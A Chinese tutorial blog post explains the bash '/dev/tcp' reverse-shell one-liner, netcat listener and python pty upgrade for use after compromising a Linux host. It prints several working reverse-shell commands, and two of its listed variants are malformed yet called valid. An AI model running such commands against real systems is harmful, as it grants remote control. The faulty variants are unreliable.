Linux反弹shell

当我们获取了linux主机的权限之后,我们一般都会反弹其shell到我们本地。linux反弹shell使用下面这条命令

bash -i >& /dev/tcp/192.168.10.27/4444 0>&1   #将shell环境转发到192.168.10.32的4444端口上

然后客户端用netcat进行接收

nc -lvp  4444  #监听4444端口

那么,这条命令的原理是什么呢?

首先,bash -i 是打开一个交互式的bash终端。传送门—> Linux中的shell和bash

/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。所以,不难理解,/dev/tcp/192.168.10.32/4444   这条命令是意思就是和192.168.10.32主机的4444端口建立一个socket连接。传送门—> Socket套接字和Sockes协议

那么,最难的来了,>&  和  0>&1 是什么意思呢?

要想了解  >&  和  0>&1 ,首先我们了解一下Linux文件描述符和重定向。

linux shell下常用的文件描述符是:

  • 标准输入   (stdin) :代码为 0 ,使用 < 或 << 
  • 标准输出   (stdout):代码为 1 ,使用 > 或 >> 
  • 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

而通过查阅资料,发现  >& 和 &> 两者一个意思,都是将标准错误输出合并到标准输出中。

意思就是,如果我们执行一个命令,比如 ls -lh > test ,这样的话,test文件中只会保存我们执行这个命令正常的结果

而如果我们执行命令 ls -lh  >& test 或者 ls -lh &> test  ,这样的话,test文件中既会保存我们执行这个命令正常的结果,也会保存我们执行这个命令出错了的结果。

所以,当我们执行命令:bash -i >& /dev/tcp/192.168.10.32/4444    时,他会与192.168.10.32的4444号端口建立一个socket连接,把bash的标准输出和标准错误输出发给192.168.10.32。也就是获得了他的shell,但是192.168.10.32却不能进行操作。

而通过查阅资料发现, 0>&1  和   0<&1  也是一个意思,都是将标准输入重定向到标准输出中。所以加入 0>&1 的话,就可以接受用户的输入了。

所以,结合上面的:bash -i >& /dev/tcp/192.168.10.32/4444  0>&1   命令是意思是:与192.168.10.32的4444端口建立一个socket连接,把bash的标准输出和标准错误输出发给192.168.10.32。并且可以接受输入,也就是可以进行交互式操作!

所以,学习了这些我们知道,以下这些命令其实都可以用于linux反弹shell。

bash -i >& /dev/tcp/192.168.10.27/4444 0>&1 
bash -i >& /dev/tcp/192.168.10.27/4444 0<&1 
bash -i $> /dev/tcp/192.168.10.27/4444 0>$1 
bash -i $> /dev/tcp/192.168.10.27/4444 0<&1 

但是,很多时候,,由于我们获取的shell并不是一个具有完整交互的shell,因此可能会在使用过程中被挂起,甚至还可能会因为我们的操作失误,例如不小心摁下了  Ctrl-C ,这将直接终止我们的整个shell进程。或者获得的shell类型是sh的,我们使用不习惯

如果目标主机有python环境,我们在用netcat获得了反弹的shell后,可以执行下面的命令,才获得一个正常的shell

python -c 'import pty;pty.spawn("/bin/bash")'

 

参考文章:http://bobao.360.cn/learning/detail/3616.html

猜你喜欢

转载自blog.csdn.net/qq_36119192/article/details/84641379